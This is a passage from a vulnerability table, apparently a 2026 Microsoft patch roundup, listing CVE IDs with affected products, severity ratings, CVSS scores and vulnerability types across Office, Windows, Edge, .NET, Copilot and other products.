Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n 